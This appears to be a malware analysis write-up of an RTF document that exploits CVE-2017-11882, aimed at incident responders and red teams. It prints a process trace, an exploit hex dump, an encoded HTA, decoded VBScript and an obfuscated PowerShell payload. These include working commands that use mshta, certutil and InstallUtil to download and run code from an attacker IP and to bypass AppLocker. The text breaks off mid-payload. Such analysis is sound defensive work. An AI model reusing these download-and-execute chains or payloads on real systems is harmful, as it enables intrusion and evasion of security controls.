Applocker Bypass and Danh Sach Can Bo

Introduction

A RTF document “Danh sach can bo.doc”(A50386914339E119E27B37C81CF58972) recently showed up on my radar. While analyzing, I noticed that it showcased a lot of the modern Applocker bypass techniques. I thought this would be a good candidate for documentation so that other incident responders (and red teams) can learn from example.

Execution Trace and EDR Bypass

Running the RTF in a sandbox and logging process command lines will highlight the user of commonly known AppLocker bypass techniques.

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\malware.rtf"
 |-> "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
    |-> "mshta.exe http://45.77.209.52/temp02.hta
      |-> "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "http://45.77.209.52/temp.doc" C:\Users\admin\AppData\Local\Temp\"temp.doc"
        |-> certutil.exe -urlcache -split -f "http://45.77.209.52/temp.doc" C:\Users\admin\AppData\Local\Temp\"temp.doc"
      |-> "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "http://45.77.209.52/temp.doc" delete
        |-> certutil.exe -urlcache -split -f "http://45.77.209.52/temp.doc" delete
      |-> "C:\Windows\System32\cmd.exe" /c start C:\Users\admin\AppData\Local\Temp\"temp.doc"
        |-> "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\temp.doc"
      |-> "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "http://45.77.209.52/planetearth.ps1" C:\Users\admin\AppData\Local\Temp\win.ps1
        |-> certutil.exe -urlcache -split -f "http://45.77.209.52/planetearth.ps1" C:\Users\admin\AppData\Local\Temp\win.ps1
      |-> "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "http://45.77.209.52/planetearth.ps1" delete
        |-> certutil.exe -urlcache -split -f "http://45.77.209.52/planetearth.ps1" delete
      |-> "C:\Windows\System32\cmd.exe" /c powershell.exe -exec bypass -file C:\Users\admin\AppData\Local\Temp\win.ps1
        |-> "C:\Windows\System32\mshta.exe" vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run(""C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\admin\AppData\Local\Temp\HmUMV.dat""),0"))
          |-> "C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe" /logfile= /LogToConsole=false /U C:\Users\admin\AppData\Local\Temp\HmUMV.dat
      |-> "C:\Windows\System32\cmd.exe" /c del C:\Users\admin\AppData\Local\Temp\win.ps1

Throughout this chain of execution there isn’t a single instance of directly running an executable. The closest example of running the downloader directly is through proxying via the InstallUtil executable.

Technical Analysis

The document exploits CVE 2017-11882. The main section of interest that loads up the exploit is below.

00000920  00 00 00 00 00 1c 00 00  00 02 00 9e c4 a9 00 00  |................|
00000930  00 00 00 00 00 c8 a7 5c  00 c4 ee 5b 00 00 00 00  |.......\...[....|
00000940  00 03 01 01 03 0a 0a 01  08 5a 5a b8 4d 4a fe ba  |.........ZZ.MJ..|
00000950  71 12 ba f7 85 63 4e 12  3f b1 d0 8b 08 8b 09 8b  |q....cN.?.......|
00000960  0b 96 68 3d bb c1 e3 c3  1d b5 35 1b e6 b4 3e 72  |..h=......5...>r|
00000970  12 31 d6 ff 16 53 66 83  ee 4c ff 10 90 90 14 21  |.1...Sf..L.....!|
00000980  40 00 00 00 6d 73 68 74  bc 61 2e 6e 57 86 5b a2  |@...msht.a.nW.[.|
00000990  06 b8 74 74 7d f0 3a a2  f2 ef fa cf 34 3b b5 2e  |..tt\}.:.....4;..|
000009a0  e3 73 72 e3 23 dd b0 3b  92 e3 53 c2 2b af 74 65  |.sr.#..;..S.+.te|
000009b0  6a fd 70 3f 03 22 e6 87  4b 61 0b e0 00 00 00 00  |j.p?."..Ka......|
000009c0  0b a0 00 00 0d d0 0a 00  0a 00 00 00 00 00 a0 00  |................|
000009d0  00 0d 00 0d 00 00 00 ee  b0 00 00 00 00 00 00 cf  |................|
000009e0  e0 0f 00 0e 00 00 00 00  00 ab 00 00 00 00 00 0c  |................|
000009f0  00 ff a0 00 a0 00 00 00  00 0f 00 00 00 ef d0 0c  |................|
00000a00  00 0b e0 00 00 00 00 0d  00 00 00 00 00 00 00 00  |................|
00000a10  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

When the exploit is successful the following command runs which downloads a HTA file containing VBE code file from 45.77.209.52

mshta.exe http://45.77.209.52/temp02.hta

The contents of the HTA file.

 <script language="VBScript.Encode">#@~^YwMAAA==@#@r	NKhR"+UrKGPZ~~T@#@bUNKhRsG-+:W,Of!TTBOf!ZT@#@&?nO,\l.mkPxP;lr(L+1Yv^tM`0G*[^4M`F8X#LmtMc1,*[1t.`qqW#'m4.`8!XbLmt.c8F+#L^4Dc8F+#[1tMcc+#'m4Dc02#[14DvF!Wb'm4DvFTFb'1t.`8T%*[^4M`FT0*#@#@&7CM\{dcD!xPrms[6nPJm~DY!Ok^R+Xn~O!D^mCm4n,Odw^rY,OW~rJtOOa)&zWXcG\{c Z,Rl JO+sw NKmEE,]hwu-JrOn:aR9W^JEEBPT~,PI`2@#@&7lDmdcD;x,E1:[c+X+PJm,^+MY;YbV nX+P ;D^ml14nP /aVrY~R6PEJ4OYa)&&W*R\{\{c T,cXyz:aRNKmrEP9+s+D+ES,!~,PI`2@#@&-CD|/cD;x~E1:[a+,z^~kYl.O,]O+s2u-Er:wcNK^JrJSPZ@#@&-mD\{k D!xPr^hNc+X+~z^~1+.Y!Ok^RnPO;.^mCm4n,OdaVbYP 0,EJ4YOw=z&*lRGF  Z,Rl+&w^l	+O+C.Dt wkqJrPY:wYwSkURad8JS,!BPK"jA@#@&7l.\{kR.;	PJ1hNc+~&m,DOEOr^Rn~O!Ds^mmtn~ /2VbO,OW,JrtYDw=&zW* GFR+TOR*y&w^lOnlMY4R2/qErP[+^nJS~Z~PP]`2@#@&7CM\{dcD!xPrms[6nPJm~2Kh+MdVVcna+,6nm~8HwC/k~O6ksn,]Ynha]whbUcwd8JBP!BP:]jA@#@&\mDmdcDE	~J1:Ncna+,z1P[+s~uYn:aY-SkU a/FES,!@#@&kn^0 1VK/+@#@&6P4AAA==^#~@</script>

With the help of a simple de-obfuscation script, the following VBScript is decoded from the HTA. The malware authors use certutil to download a powershell script (renamed to win.ps1) and a decoy document. The powershell script is then executed with the ExecutionPolicy Bypass flags.

Window.ReSizeTo 0, 0
Window.moveTo -3000,-3000
Set var_s = CreateObject(chr(87)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(83)&chr(104)&chr(101)&chr(108)&chr(108))
var_s.run "cmd.exe /c certutil.exe -urlcache -split -f ""http://45.77.209.52/temp.doc"" %temp%\""temp.doc""", 0, TRUE
var_s.run "cmd.exe /c certutil.exe -urlcache -split -f ""http://45.77.209.52/temp.doc"" delete", 0, TRUE
var_s.run "cmd.exe /c start %temp%\""temp.doc""", 0
var_s.run "cmd.exe /c certutil.exe -urlcache -split -f ""http://45.77.209.52/planetearth.ps1" %temp%\win.ps1", 0, TRUE
var_s.run "cmd.exe /c certutil.exe -urlcache -split -f ""http://45.77.209.52/planetearth.ps1"" delete", 0, TRUE
var_s.run "cmd.exe /c powershell.exe -exec bypass -file %temp%\win.ps1", 0, TRUE
var_s.run "cmd.exe /c del %temp%\win.ps1", 0
self.close

The contents of the encoded powershell script use a simple split operation followed by a call to iex

 ( '15e12h43Y43e43h15h12\}15h12i44-111~156\}163-164@141\}154e154h125Y164i151i154~166i62-40<75f40-44\}145i156e166h72e127<111h116h104Y111e122-53@42@134-115~151-143f162\}157Y163e157<146-164e56f116Y105h124-134-106Y162~141f155h145i167f157e162~153-134@166e62@56~60h56e65-60i67h62-67f134Y111@156i163\}164<141\}154<154-125e164Y151-154\}56@145@170<145f42@73\}15~12<44i111h156e163f164h141@154h154-125i164e151i154\}166e64@40Y75<40-44i145@156\}166~72-127\}111h116\}104~111<122~53e42@134@115f151<143i162~157e163f157<146i164@56h116\}105\}124-134e106i162i141@155i145h167h157f162h153-134Y166h64Y56\}60h56<63-60@63Y61\}71Y134\}111i156~163<164Y141h154Y154h125e164@151-154<56<145@170Y145<42\}73i15Y12-15f12f151\}146Y40i50h124Y145Y163f164\}55f120<141f164e150~40Y44h111@156<163f164-141@154h154\}125h164h151f154f166<62i51h15<12~173@15\}12Y11h44i114~157@141@144-145@162f40e75@40i44h111@156\}163~164h141Y154Y154~125Y164h151<154<166<62<73@15-12Y175-145@154f163h145@15@12\}173~15e12<11\}44~114h157\}141~144-145~162Y40<75@40-44\}111i156f163-164\}141e154i154Y125@164f151f154~166@64h73~15h12~175@15~12f15@12f15~12~44Y122~122f104~155i111@124h142e163f40@75i40<44<145h156h166<72h124\}105Y115-120Y53<42<134Y110@155e125e115-126~56i144-141\}164e42\}73f15~12e44@141~107h125Y111e142h75e15h12e100f42h15f12-166h142@163-143Y162@151<160\}164@72f103-154\}157h163h145e50@105i170<145\}143e165-164\}145e50~42h103<162<145-141-164Y145-117h142h152@145h143~164f50e42-42i127<123Y143Y162\}151e160Y164f56e123f150\}145~154e154f42\}42\}51i56i122\}165e156@50~42f42h44i114i157\}141\}144f145~162f40~57f154@157\}147<146e151h154\}145Y75<40e57Y114h157-147Y124h157Y103i157f156<163\}157e154Y145e75Y146\}141\}154-163Y145-40~57\}125h40\}44f122e122\}104Y155\}111Y124f142i163<42-42h51~54~60h42i51-51~15-12~42h100f15<12i11@15<12@44-112h112i113i153i116\}162@40i75h40i42e124e126f161<121i101f101-115Y101~101@101-101@105\}101Y101i101e101\}57h57@70~101-101i114f147f101-101-101@101Y101f101<101e101f101~121Y101\}101f101\}101f101i101Y101~101~101<101i101@101\}101i101~101f101\}101e101\}101e101@101f101<101@101~101i101<101<101e101<101Y101e101-101@101e101Y101f101Y101f101f101~101h101i101h101Y101i101h101-147<101@101f101e101f101h64@146~165Y147<64\}101@164@101-156Y116@111\}142i147h102~124e115-60-150e126@107<150f160f143<171h102f167@143-155\}71f156~143i155i106<164i111@107@116@150\}142~155\}65@166<144\}103f102e151f132e123i102<171i144i127Y64Y147-141\}127-64i147i122e105~71~124e111@107Y61@166f132Y107h125e165-104<121<60<113i112\}101-101@101<101i101-101f101~101@101e102e121<122-121i101\}101Y124h101-105Y104\}101f106-171@125<142h154f157<101i101@101f101\}101e101-101h101<101<101~117h101h101~101~147-105~114\}101@121i147<101f101e102~167\}101<101h101<101e107~101@101h101i101Y101\}101f101\}101Y67<152e157-101~101f101-101~147<101\}101~101-101Y121<101~101<101<101e101\}102\}101-101<101f101i147-101i101-101e101~101h147\}101h101\}102e101-101-101<101h101e101Y101<101<101e101-105Y101Y101h101~101@101<101f101\}101@101i101f103f101Y101<101-101i101\}101f147Y101\}101-101f101<101~101\}101\}101-115Y101h121<111-125\}101h101@102h101f101@101Y102Y101Y101~101h101\}101-101<105-101@101~101~105~101<101Y101h101<101@101f101@101f102\}101@101f101f101-101@101~101i101e101-101Y101-101Y101Y101~101@112<147<66f101i101e102@124~101e101~101~101f101f105f101<101\}101i113i101Y103Y101i101Y101f101f101f101-101Y101i101<101Y101@101\}101\}101-101~101<101-101~101-101f101f101Y101<101@101~107Y101-101-101~101i167~101f101f101i101<101@101h101-101-101-101<101h101<101~101Y101Y101~101@101Y101e101@101f101<101h101-101~101\}101\}101f101<101-101Y101i101e101<101~101~101i101i101@101~101Y101Y101~101h101f101i101\}101@101f101Y101@101-101~101-101Y101@101@101e101Y101f101e101<101~101f101@101i101e101Y101\}111<101e101\}101f103@101i101~101Y101h101@101@101Y101@101~101e101e101\}101@101e101\}103<103h101f101-101Y105i147-101-101<101\}101h101<101h101i101h101<101<101e101Y101i101Y103~65h60<132f130<150-60@101h101f101-101f71~102\}157f101f101f101e101Y147i101h101<101@101e110\}101f101~101i101~101f111~101\}101h101f101e101h101~101h101h101e101~101\}101f101f101i101-101\}101<101@103~101h101h101<107@101~165<143@156-116h171f131@167~101h101h101~113i101@103<101~101i101<101@121Y101@101h101-101h101e121e101~101Y101-101-145<101\}101h101<101<101i101\}101@101i101~101i101h101<101f101@101\}101<101Y101~102i101~101e101<102i101e114h156i112@154h142f107~71f152i101~101\}101h115Y101-101~101h101h101h107-101h101e101\}101~101e103Y101-101<101Y101-111f147Y101-101\}101-101f101i101e101f101h101@101h101\}101\}101\}101e101Y101@101\}101f121h101h101Y101h121~147i101i101<101h101<101-101-101<101e101~101h101~101@101<101~101-101~101h101~101f101e104h121~117e147<101Y101f101e101-101i101\}101\}105-147h101e101e101\}101-103<101h101f125e101f165f103i64@101h101\}117\}101~114~101\}101@101i104Y101i101h101@101i101~121h101@101h102h147Y101i101\}101e101-101<101f101f101i101i101<101@101i101~101~101@101Y101Y101Y101Y101~101@101\}101-101~101f101Y101-101@101i101e101@101~101Y101e101f101@101f101h101Y101~101\}101\}101~101<101Y101h101~101Y101i101h101h101-101f101\}101-101f101@101i101\}101h101i101\}101-104-131h101f143i147Y105f101\}101~110h101i157<102\}101-101<101i103~147~101~161i110e147\}111@157<102@121-101f101<103f151f157<101~101<102h115@167e101i121<101@120h101e101\}101e101i101\}121@101e101\}105@121~101h162e103~101\}101i157h102f101~101i101\}102h147Y101-101Y106Y167Y157h162Y71i101h101<101Y101f101i101@101@71~145i152h127\}104@101@101e101i63h121~157e70e116Y124<130-62i166@166\}126f147\}166h164~155-60i70@131@110\}114Y171e163<160h155Y131Y62f113h70i145e115-106i124~166i107e104Y120f166e110e104\}112<130Y142\}151-111e71Y101e162f144~167e124Y167e61Y116\}127-130f144i64e172Y70f61@116h142~67<106f130\}130Y70i64-53~172\}172i144f61<172f167Y61-116f127h130i144~70f124h70\}61f116h142<170~167<65<126e61-122-144<162e114<152f63@146-157e70f116f124~126@154Y63~131h121f57~116f124~127<70~143@120~154@144e121-141i122i60\}116-144Y60Y122~120f172@125e61f132f143@162~152@166Y165h61\}144i103h112\}60<152e67<62\}142f144<157h124\}70<61\}116~142<67h116f130f143i107i121e145\}166\}144<155h63@142~111@57f116-124e127e70i143h115<126<144Y130i152e61-111i143~127\}142-144Y124-104e70<61-116~142\}170\}167f62f126h63\}104-150<104@130h113Y132<164~61h145~120-172-125<61\}166h110~104\}144h130Y143@103i164e71<126Y154Y155Y63~127e147<57\}116\}124~127@70f143@116@106\}144i105Y123\}147Y163\}60<107i142i144e145\}152e70~61f116<142\}170<167h61Y126h62@124i103\}111h101~63~132h164Y61Y60~120i172i125f61@166f110i104\}150@130f123~121-170Y106~63f65f144<123e141h122<60\}116h144\}62f141e120e104-125e61h132\}143i162Y152Y132~144i60Y124@120e172~125h61@166@110<104h160-130<146h53~164@163~164i65<155\}63Y123<60~57-116\}124h127h70\}143-117e61f144e126h170<121i131e105h154f62i170e160@110~121<61<63e142<115f70\}116i124Y126Y154\}171<165<116@154Y63e143f147-70<116~124\}127@53<170i121Y142f165~130i172f126<146e116<126@70-61Y130~172~126h144~165e141~122h60f116~144~61Y123@120i104\}125@61<132@143f162<151Y166\}163Y62f167h171Y152h161~170-121-124f121-61@116i126f70i61e130~172i126\}146f116h154f70e61Y130@172@125f66@147@156e104i120e132i142f65~167f171f127~126i151i171e155\}104Y106i163~120i125<66<163~127\}121e60f116f124-126@146i116<126<60<61~116i124f127@170@130@172Y126e146@116i126~70-61\}166<155\}104e102-132-61\}70f61e132f143-160<147e62~142i170<167i57e142i132e111-57~124h125<66\}163f122i147f60f116\}124e127-62\}123Y103e125f61Y121\}103\}122~146@116Y126~70@61e130Y172e126~146Y116-142\}65@167h57f127h130-113<131~116@63Y145Y112<106h70h61~130<172<126e146<171e162-65e167e112i127e127-53@143h120f61Y154-171h155~104-144Y163\}120-125@66\}163f143<147h61@116f124h126@146-116\}126e70@171~130-124f130i106<171f105i161@53<143e120f61\}154h171e155i104@160<132\}143h160\}147h67f146\}112-167\}71~124@101\}60\}116e124f125-107@71\}142e170h167<151f142~150h167~151<127Y127~64@143@120i126i154~165@114-103f103h171-70\}162@113@132i126-70i60@166\}156i104e71~132e143i160Y147h64<142~104Y61~117<162Y107<111<116e124f125@61h130i146\}155\}153@144f104\}130e144Y161i104e60-61\}116i127~127~64e163@111h114\}114-171i163\}160@154~171@155-104f65e163<120i125e66i163i112-125@61<116\}124h130Y171h143e120Y125f167i116Y104e125<61<102~166<127Y70-143-111e155f64e143Y111-154Y154h165~110@104i61@132i142~151\}167\}147f163-166@113e171f155Y126f146-115@114e65f167i57i127<130h113@131Y117e107<167~71@125<106\}116<165\}114~103\}103<171i70<162~113h132\}143f162@152i142-114\}170\}167@71h142h122Y111-71<124-125e61\}144~124f126<103Y126h67\}132<111-71~124Y126~104e141i126~71h61Y130h124Y125@154@116<124-127h53Y143Y120<126e154@130\}172h130\}113h131<117e127-53h131-104@155f70\}116e67e65<167-120h142e65<147<71i142i167f154\}166<156h101f65Y164-147~60h61h121f121h111<107<71<142i170f167Y70<142f65h101e117h142i64e104@63f152i167h62h121<120h107<53i143-120h105i143<143e120Y127h64e143i120f106Y154@166@156Y104f61i132f127-117@53~143e120i61Y154h171Y155Y104<122h163h120i126\}102-115Y67Y132e111\}70i124@126\}103\}66@114~132\}111h71e124e126\}101e116\}64@131h60e131<163<160<147h61i142~67<62~141f155~164~165-166<164i102h157@71~172\}153Y61i116i124i125f61h121<154~170<142-130\}106e164~121e121e124-126\}101i122<154i102e110i102~147i143<61f116Y126e150e107Y121\}61f132@110i121e124<125h61h145@106-160f120@130~106e154e132@126\}102h157\}101i107@167i125~126f110<126e132\}141~127Y105@126<125<121@126e170h130Y127~126~101e117e106Y130i150-155f146f110e101\}126@104@102h163-106h104@150<126@151\}130h106~164@122-127h153<112<107-106\}130\}164@150@106f121~115~142f102\}121-64f126\}131h125Y144f143f125-126~102@142e121i122f157f101\}107f167-125i143@116h125Y106h121e124h125<105i141@122~126i154f125\}130<106h163Y117@106\}126~132h144f126-105-144i107\}125@105Y105~111i121h105f106~124@107e101\}60f61i116@124i130Y144~171e152i105f61h116-146e141@53f71h127<132\}152~131-155e103@62e70e143\}127\}70~145f122h105e170i166<165f53Y70Y115<122-106f144f146@172-152i67-120~116i63@166<115-172<125-61\}132~144-62f112~115e152h125<61Y166-110-105<122\}117e142@132<112@105<124e153e61e117@162@107-64\}116\}124f125f61Y166i156Y131e116~166<110-105\}122~120Y142~65Y170f105h124h107-64~142Y123i62-53<143~122e105i170<117-157-112\}61Y111-124<142f164e166\}156\}105@122~115i124<161\}103<122Y124@116Y67-163h115e116h112h130i130h117Y53f143f122e105f170~166i156e125f102h116-156e131e65Y164i153<64i154i116<125h101f146@164-153i153i122h120i124h126f114-146f61i71i61h130~124h125<154-116h124-127e53-131\}122-105@154<132Y62\}130-113\}131e122h105h160<166i163i62i70\}124i152h62f53@131f122Y105-71i166i166h114h144-151f152<115e61~116@144\}64@123\}166e164~65~146Y144<126@60e61h112e124i125<61e166\}155h101f154Y132Y62e130<113i131~122@105~160-166h163f62f53Y145f103\}127Y53f131h103e105h62<111\}122-107<53i70f164~62e167<115Y172~125\}61-166e105@64h71h164f166\}131h144f145i60i103@163f164-166~105i154~141f107e160i162-142~166-132-152Y131Y162f142@170Y62i142f170~150e105h124Y107-70h115h122\}107-53\}115i122@106h124h164~101@61f64-142Y172i161h167-163Y124h125~61\}116h142<65i61\}103<142@64i150i105~124i142Y63<166-157~62h126<116<124<125~61Y116-163f53f53Y164i132f105@61i116~124-127@167<71e125h116Y146Y163Y115Y160@102@125<71e65\}163@166Y152\}111~62Y115Y122@107h70e143f122e105-71~166\}166Y161-62\}71Y104~62@53e121@152h107~62~62<172\}63-153Y62~71e64@104<117h157Y111f60h166e165e126-124e164Y116Y146~113i117-152@161@103Y65\}67@170h150e105h123\}125i66~147<165-130f60~63e172<155@62-63i172-132~101e111Y67~65@170-105i124<60Y62f143<122f105i154i166Y110@105@122f117-142f65@170@105h124f155~53i131h122e105h170e116\}103\}126Y67\}164~166@121~63~163h115~116Y113-70f67\}65e171Y115\}124-142i171-166~163-62@62Y103\}152~126<102i115@67f132i113Y115i124Y126i101h161\}142Y142i170~111<127@160~162Y71<155i132i152i131\}155f103-62-70@144h62Y70<115e122@110\}172@143i122e105f170@116i126-62h64<151e120<121@113h63h125<131<167-116-124i126Y154Y63\}127h101-172i116~124h127e70\}143Y122h105e154<130i143i157Y161\}123\}146i170Y144-157i141~106~60f116h144i63Y63@115Y104e125@61Y132i143Y160h150e105f123i61@154Y63e121~111Y172-116~124\}127f70\}143Y122-105e150f164@153~153<122<112e124\}125e66h163f144Y121h61~116<124e127<62e123@122@105~150~116~124i161\}170@64<172e125e61@116@142h64f170h105\}126<117~60\}104<130\}150f166<117<162\}104f71<116Y124Y125Y61@166-156h125f112h166\}151i105\}122-116h166@145h53i156h142i125-61h116@124@125i62f63-67e66f61~163-124-125@61~116<121-64Y132Y105\}124i161-167@160h124h125f61i116f142@104i61-117e162\}103<71@116@124@125\}61e70<63f105~122f115\}124i124<143Y157i152f125@61i116h142~65\}167\}117@124~131~170-105e127~130\}113@131<122h105Y150e166i110-105<122i120~142~132h112e105@124-60~61h121Y61f103f62i123@104<125Y61i121<124Y62-53h141h104~125@62<113@122e110Y145e115~67Y65h157\}112<124f131f160-105\}142h65f101@112\}124<131f102-105~144Y65e62e167\}166@111\}61~116-124<127@61\}121@171~107e60e60~163f162f113Y116i124<126-151@166i156f105<122~117f127e130f113h131h122@105\}160<166-104e120\}145-113<142<64<170e105@124h142f171i166\}110@105h122<117f142f65@170e105f124@155-62h71e124@144<154i166@156h105\}122\}117~127Y130@113-131h122f105f160Y166f104\}117i62\}103h172@126Y102\}110<142<142<62~115~142\}142@172\}115<142\}64-117\}163f115f160<101i147@162i142~167h111@142h132e111~116<124Y125~66-163~105e63-113@171@163@161Y62f123f103f125f61f117f162i102\}142f171~163-162-113-70i63\}105f122-115h124Y121e66@147\}63\}105\}122~115\}142h142~170\}114\}127@150~161h141Y62-67e62<116Y124e126h145\}125@105Y144~142f125-106-153~107~102\}170\}164<122h127e126i153@61-116<124~125h61e131~114~67i132f164~166h110\}116@132i155@116Y151\}102i166<127\}70e143e115<154e144@146\}172-152@67\}120i116h60@144\}115@124f125i61~132@144i60h57-115f104f125<61f166Y163f62h167~171<152f161h170Y71f172e125\}61Y116h142@65\}167@120i142h65\}61h103<124f132~167@120h142@170Y167Y172Y142h132~111e172-124e125<66f163Y132~153@61\}116i124f127Y53\}121@115e61\}146~144h126e60e61@102-124@125\}61i166f156h116Y154Y132~142f65i172f101i127@130@113\}64<162e67~164~163f117\}65<101\}112-106Y71-61i130~124h125@126<116<124e127h53~143f62~126e154i130Y172f130~113Y64e162h67e164Y163<117Y65h102@123f106<71e61f130h124-125f154f116i124i127@53@143Y62@126~154-132~163@162h151~130@63h126e144i116f123i125\}61Y116<142\}65Y172@131i127e126@155\}171@165<113-53f145@62-107~53e131i104@62~53e71-164e63e142e116Y152i125Y61-166@153<131<112~166f163f64\}62~167~162Y170<114\}101\}142h67~67i166e155-104~116h166\}156\}101Y71-63e141@162\}112\}171Y163e161-53i143Y167f107<53-131<115e60<145i144i167h107i167f71Y125f105f70~166<165@127@53h71i164h61@64<171<115i162i113h166f166Y142@144~63<70-152@113@171<162f110-61-121<123i155e53~143~170f60~62\}70\}162~67<106\}130h172f126f146f116i107e114e113e64h67f110-61\}121f124f103Y70<141~115@156-145~115e101\}142f61Y166Y110<104@112f166Y156Y104Y112\}141<155e164i165Y142h107i170\}157@71Y172h105<61e166@166f126e152~132\}114@60e65~105e142-104h156<121i171\}62\}53@170<124Y161@104<117e67@110h70~121\}124-64e120Y117i122h106<102-115-172@161@104<117f122@105\}106<117~63\}126@57e121\}116\}61f166e141-57\}132e147~166i164~155h62Y70-144~106e155h131-62\}114f172-143e115f157h61@130-125<61h160@104e155@104-144~117i104-131h61i116~127\}130<144i62Y152-131~61-116i142@67@164i130Y145-125Y62-141f124i172-144@172h152f143f61Y116h127@130<144@66-104\}131i61i116-142\}170h167<172e126<63\}102i111@113e141~106~63@144-60f63~116-124Y126\}154Y63f146@70i62<116-124Y127f53~170-126~61~121~144i115i66<123f63h145f115e63~116i124\}126@154\}63f131\}60-62e116\}124@127@53\}172<126i60Y105~121e131~154~113<63<146h105@63\}116f124-126h154i63f132e115f62h116Y124\}127e70@143Y115@106e144Y161e103-164-145-126\}164~62~105@116h172<125Y61\}132i144\}62i155@116Y152Y125e61Y166~110e104f106\}163\}117h65Y101i112-67~132<111@172i124-126\}101@117@142~104e104h121@104f62f167Y171\}152@161@170f165-104<125e61h116f126Y70@61f130e172<126-146~116\}154h70~61<130Y172\}122h144<116i124-125f61~164Y142-65<167Y120h127-130<113e65f162i67@164~164<163@67~113e121\}125<122<146-116f127<142h113-64\}162-67~116\}163@115e160<104\}126Y155\}112h146e144e143e160e147f167~142@170\}167i63@142i132i111-63\}124<126-102f131<126~70i61<165h110-104Y132f132\}127@113h53~143~116-61i154-132-163i160~147e172f142f65\}167-63-142@121\}116~125e61e116-124Y125f60<105i67-166i156@104Y144f164-166\}125Y170Y164i101~61@124<125@61-116~124h121~102f161-53~143f116Y62\}62e71f124-62h70i143Y116Y107\}53@64f162-142~146Y120f131\}122Y124f166e156~104f122h63-145Y110~114i171h163@161\}53-143-116-106Y154h63\}145e142\}111\}171-163Y161e53@143<116<61-154\}171Y155@104f106f70e63e104<113f116e107h142i113Y64e172h161~104@143h115h160Y161Y141i62\}66e53i60~107~152@63-115i124h126e155\}131\}62f112i147e164e120-110h122@171@70-162i113@63Y144Y167Y60-116\}124f127h53f172h126\}62-160~152~131-53f124e131<164Y63i170f116e172i125h61@166f163Y126Y144-156i144f152f110<53\}62\}114Y144Y147i152e143-61i116~142~67~144<130Y132f151@104-145i114e122~151~63-132Y70<63\}116f124-127@53h67i126<60Y63i157i154f64\}147~131Y164h62~157h116~172e125\}61i166@104Y105-122~130<127~150e144@146<104\}116i151h63\}142<157<63~116i124<127h70@143f122\}105e170~130h124\}153Y146~117Y71<170~151@63h142f125\}63f116i124e127-70i143~122f105<71i130f124f105Y60~116e124h127<64Y143h122f105i163~132Y126f63h144f157-156f121Y61<63h144f60<60Y116h124\}126-154i171@165~116@146f116h142~150Y170<105i123-170~154e171~165@132@146h115e142@150~170<105f123~170f154h171f155\}105<122~120<126f60~61Y162e130@121<61@63<146<111-60@116@124-126-154e165e110e105<122i114~107Y130e113\}131\}122<105~65\}165~110Y105@122f111f107f130i113@131h122e105h65i166@163~62h64Y143h122i105f65h152f172-167Y61-116h124<130i144-157~124<121~61@116i142f142<141~115\}101@142~104@150<147e123h71Y141e121@153-147@164<125i153-102h117f124-126~101@112e162Y150@170h105h123~102~154h63@143Y156@111f171~163Y161@170i71<125i105e167Y70@63<105\}102@117-124Y122i144i112\}122f111\}61h116~143e162~147\}143f63~141@61\}172~147i71e101<64f144h67~67\}164-120-105Y160~116Y104@125\}61@141h107<160i162~142-166h131@121Y126f105h126f106-125h126f122<102<126@102\}102f160<143h61~154\}125<122h154~61-154-127<126e122h115@125h105<143\}61-116@124<126i160e122Y126\}154h101f125f147Y121<142-125e126f122e102@116<124<126i155e131Y62e112e147~164h166-110h144<63-143@105h61<116i124h127f53\}172@142-124~171h156Y141e71f60h116i126h62Y144<62~115\}146<67e63\}131@70<61f116~124h126-154~63h141i153~60h116\}124Y127h70\}143h122f105~65<130e146Y155\}151h112@122Y104-144e153f172\}125\}61Y116<127-130\}144~166~124h121~61i116<142Y170<170e105i123~126h144-150i124Y116i146<160h144Y62@156i116Y124e125e61@132h144Y61-102h116Y104h125i61@166h165<61~144i167e123~103<155Y150\}144i62-61~116h124f125<61-132i144\}61i130~116\}104<125\}61<166Y163-127Y64h143e122e105e150e132i126~70@61\}130~172@130<144~160~172~125-61@116@142\}124\}61e63Y141e122@60-116h127Y126<146@116\}126e70-61h171-165Y132h154f171e165h117\}62f103f152h126Y102~115Y114-150-141e115f144<64e63@102e164@151i64e141i153e53i53~121-154@71~67f163Y115i116Y112~167~110i116e147-165e110<105f122f115e127@127i64f143h122<105e65h132<142i150-66f127i67i150f62<116~172i161i103i112h164@60<147-167e70Y162Y113~163h146f126e102f120-115h157~150\}105<126i70\}61\}171\}155h105Y122Y111h142@142i62-103h61<60f106@121\}104i125h61Y171i155i105\}122<112h130<164<101\}57Y164h66Y111\}164-166\}105\}164f141Y107\}160i162\}142<166i141e64~144<124Y126h147<166@164@154~153@110~120i126h122~166i156\}125@106i166\}156\}125~65h166h155i125@160Y166\}156@143~71\}166\}156-70Y126Y166\}151e144f124<164h153f167i65-102\}153~104h105\}166e110i104e112h166i156-104Y112<142<107i152e62<131e114<67h132f132Y116~60f61e116h124f125Y61f142e67e124~146<111f113\}170e60-116~142f170<147-171<142i65f167<171@127\}170@157h71i162~150~61@116h127f141~167<57<105~115-65f117<157@115e166~166f123-61Y61~144\}63@171\}167f57@105h114f102\}142<166~141\}154~163Y117<144<104Y120i120e115i61<116e130-126@57-163@117i144h103-167-166h141\}53e71i127h103\}53h62i144e62<116@171-163\}162@113\}116Y156~101<71i141\}120h143h170~116<141-126h147~166~164~155<60@70h124i130-112-171e163<160e155\}102h165i66@64h165f104<130e112h171i163~161~53-71~157e70h71@116i124~125e61f167Y166<125@60<116~124i125-61i121-172Y172i153~63-121\}101~126@164f157~63e131f63\}152\}146f153h63h130i71\}101e63-67Y167e60i144-162h142~60\}115<142@124Y117~116h124@121f61i116@125h104-147e164h166\}63Y113-166f155f101f71Y63<151Y64~66<147-57Y171i117Y171~152\}125-61@116@122h142f164\}102Y166e66h53~165f142i147f61@171@143f162e113h71Y116~60f71@102e166<62@53e71e110f143<66\}147h172\}53Y170f57~105-104<162f167-165i126e165i166i164\}102i157i71-172<105i61\}131<